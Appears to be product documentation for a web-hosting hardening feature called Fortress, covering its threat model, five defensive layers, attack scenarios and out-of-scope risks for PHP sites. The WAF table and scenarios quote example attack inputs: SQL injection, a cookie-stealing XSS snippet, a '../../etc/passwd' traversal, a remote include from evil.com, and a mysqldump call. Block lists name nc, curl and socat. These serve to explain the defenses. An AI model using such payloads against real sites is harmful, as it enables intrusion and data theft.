Threat Model & Fortress Coverage
How web attacks reach your site, what Fortress blocks at each layer, and what you still need to handle outside Fortress.
Fortress is a defense in depth system: five independent layers, each catching what the previous one missed. A single Fortress switch enables all five for the selected container.
How attackers reach a PHP website
Real-world attacks rarely use a single vulnerability. The chain usually looks like this:
- Reconnaissance — bot scans your site looking for known plugins, exposed
.envfiles, login pages, common URLs. - Entry point — exploits one of: vulnerable plugin/theme, weak admin password, file upload form, unpatched CMS core, exposed API.
- Foothold — uploads a webshell or backdoor PHP file inside
wp-content/uploads/,images/, or anywhere writable. - Privilege escalation — runs commands as
www-datato read the database, dump credentials, install rootkit. - Persistence — modifies CMS code to plant a long-term backdoor that survives plugin updates.
- Exfiltration — sends stolen data (DB dump, customer info, source code) to a remote server.
- Monetization — sells the data, plants spam, redirects traffic, mines crypto, ransoms the site.
Fortress disrupts this chain at every step.
The 5 Fortress layers
Layer 1 — WAF (nginx HTTP filter)
Filters malicious HTTP requests before they reach PHP. Each rule can be toggled individually in Fortress → WAF:
| Rule | Attack blocked | Example |
|---|---|---|
sqli |
SQL injection | ?id=1 UNION SELECT password FROM users |
xss |
Cross-site scripting | <script>document.cookie</script> in a URL parameter |
lfi |
Local File Inclusion | ?page=../../etc/passwd |
rfi |
Remote File Inclusion | ?include=https://evil.com/shell.php |
upload_php |
Webshell upload | A .php file pushed into /wp-content/uploads/ |
sensitive_files |
Direct access to secrets | /.env, /wp-config.php.bak, /.git/config |
xmlrpc |
WordPress brute-force amplifier | /xmlrpc.php lets 1 request try 1000 passwords |
scanners |
Recon bot fingerprinting | User-Agents sqlmap, nikto, nmap, masscan → 403 |
rate_limit |
Login brute-force | /wp-login.php limited to 5 requests/min per IP |
upload_scan |
Webshell signatures | YARA + entropy on every uploaded file → quarantine |
Layer 2 — PHP Hardening (disable_functions + open_basedir)
If an attacker manages to execute PHP code (via vulnerable plugin or RCE), the dangerous functions are neutralized. Configurable in Fortress → PHP → Blocked functions:
- Code execution —
exec,shell_exec,system,passthru,proc_open,popen,pcntl_exec - Classic webshells —
eval,assert(Strict mode) - Network exfiltration —
fsockopen,stream_socket_client,socket_* - System introspection —
phpinfo,posix_uname,dl(),putenv open_basedir— PHP confined to the docroot + explicit paths (cannot read/etc/,/home/other-clients/, system logs)
The list is CMS-aware: WordPress, Joomla, PrestaShop, Drupal and Laravel each have their required functions auto-allowed so the site keeps working.
Layer 3 — Binary Hardening (chmod 700)
If the attacker bypasses disable_functions (rare PHP bug, FFI extension), they still cannot run external binaries. Applied automatically when Fortress is enabled:
- Database dump —
mysqldump,pg_dump,pg_dumpall,mysql,psql - Alternative interpreters —
php(CLI),python3,perl,ruby,node - Direct network transfer —
ssh,scp,sftp,ftp - Strict mode adds —
curl,wget,nc,socat,tar,gzip,base64
These binaries are chmod 700 and chown root:root — invisible to www-data even with shell access.
Layer 4 — Egress firewall (outbound iptables)
Restricts what the container can connect to on the internet:
- Standard — allows known CDNs, DNS, NTP, SMTP. Blocks raw outbound to random IPs.
- Strict — explicit IP whitelist only. The attacker cannot exfiltrate stolen data to
evil.comeven withcurl.
Layer 5 — Shield (filesystem read-only)
The docroot is mounted read-only at the kernel level. Only specific folders stay writable (wp-content/uploads, cache directories, sessions). Even with full RCE, the attacker:
- Cannot modify CMS core files
- Cannot plant a persistent backdoor in plugin/theme files
- Cannot edit
wp-config.phpto steal future credentials - Can only write to upload folders, where nginx is configured not to execute PHP
Concrete attack scenarios
Scenario A: Vulnerable WordPress plugin (LFI)
- Attacker:
GET /wp-content/plugins/buggy/file.php?page=../../etc/passwd - WAF blocks the
../pattern → 403 - If WAF is bypassed (URL-encoded
%2e%2e/):open_basedirblocks PHP from reading/etc/
Scenario B: Webshell upload via contact form
- Attacker uploads
evil.phpdisguised asevil.jpg - WAF
upload_phpdetects PHP extension in/wp-content/uploads/→ 403 - If the file slips through: Upload Scanner runs YARA + entropy → file quarantined
- If quarantine misses it: Shield keeps
wp-content/uploadswritable but nginx refuses to execute PHP from there
Scenario C: SQL injection trying to dump the DB
- Attacker:
?id=1 UNION SELECT user_pass FROM wp_users - WAF
sqliblocks → 403 - If bypassed: the vulnerable PHP returns query results only — limited leak, no full dump
- Attacker tries
system("mysqldump -uroot --all-databases"):disable_functionsstops it - Attacker bypasses via FFI:
mysqldumpchmod 700 → Permission denied
Scenario D: Persistent backdoor after RCE
- Attacker has a one-time RCE and wants to write
backdoor.phpfor later access - Shield read-only →
fwrite()fails on every CMS path - The only writable location is
wp-content/uploads, where nginx returns 404 for any.php
Scenario E: Admin brute-force
- Attacker: 10,000 login attempts on
/wp-login.php - WAF
rate_limit→ 5 req/min per IP, returns 429 on the other 9,995 - Imunify360 (if installed) bans the IP after repeated 429
- Valid credentials remain a risk → 2FA at the WordPress level is mandatory (outside Fortress scope)
What Fortress does NOT cover
Some attack vectors are outside any web hardening layer — they require dedicated tools or human discipline:
| Threat | Why Fortress can't help | What to use instead |
|---|---|---|
Weak admin passwords (admin/admin) |
Looks like legitimate traffic to all layers | 2FA (Wordfence, Akeeba), strong password policy |
| Unpatched plugin vulnerabilities | Fortress mitigates the impact but doesn't patch the bug | WP Toolkit auto-update, Imunify360 |
| Stolen credentials (phishing) | Fortress sees a valid login | 2FA, IP whitelist on /wp-admin/ |
| Session token theft | Mitigated by session.cookie_httponly + cookie_secure (Protections) but not eliminated |
HTTPS-only, short session lifetime |
| Volumetric DDoS (Gbps saturating the network) | The server itself can't fight a saturated uplink | Cloudflare, OVH Anti-DDoS, AWS Shield |
| Kernel / Docker 0-day escape | Outside any PHP solution | Discipline OS patching, kernel updates |
| MariaDB / PostgreSQL CVE | Database engine vulnerabilities | Auto-updates via apt, monitor CVE feeds |
| Social engineering (admin clicks a phishing link) | Outside technical scope | Training, awareness, password manager |
| Supply chain attack (compromised plugin update) | The malicious update is signed by the legitimate author | Pin versions, review changelogs, watch security mailing lists |
Recommended layers per CMS
The Fortress wizard pre-selects sensible defaults per CMS, but here is the rationale:
- WordPress — Fortress + Wordfence (2FA + Login Security) + WP Toolkit auto-update + Imunify360 if shared hosting
- Joomla — Fortress + Akeeba Admin Tools (equivalent to Wordfence) + 2FA on
/administrator/ - PrestaShop — Fortress + IP whitelist on
/adminXXX/+ Strict mode disabled (back-office needsproc_openfor PDF invoices) - Drupal — Fortress Strict + Security Kit module + Composer-only updates (never edit core)
- Laravel — Fortress Strict +
APP_DEBUG=falsein production + Telescope for anomaly detection + never exposephp artisanover HTTP
How to validate your protection
The Fortress Simulator (Fortress → Simulator → Run scan) runs ~17 realistic attacks against all 5 layers and reports which ones are blocked. Run it:
- After enabling Fortress for the first time
- After upgrading the CMS or major plugins
- After changing the security level (Standard ↔ Strict)
- Monthly as a routine check
A green "X/X tests passed — defense in depth OK" means all layers are operational. Any red result points to a specific layer that needs tuning.
Coverage summary
Fortress covers roughly 80% of real-world application attacks — the entire OWASP Top 10 (Injection, Broken Auth indirectly via rate-limit, Sensitive Data Exposure via headers, XXE, Broken Access Control via WAF, Security Misconfiguration via hardening, XSS, Insecure Deserialization, Known Vulnerabilities mitigation, Insufficient Logging via headers).
The remaining 20% — credential theft, 0-days, social engineering, volumetric DDoS — needs to be handled by complementary tools: 2FA, automated patching, upstream DDoS protection, and human awareness.
Fortress is necessary but not sufficient. Combine it with the recommendations above to reach production-grade security.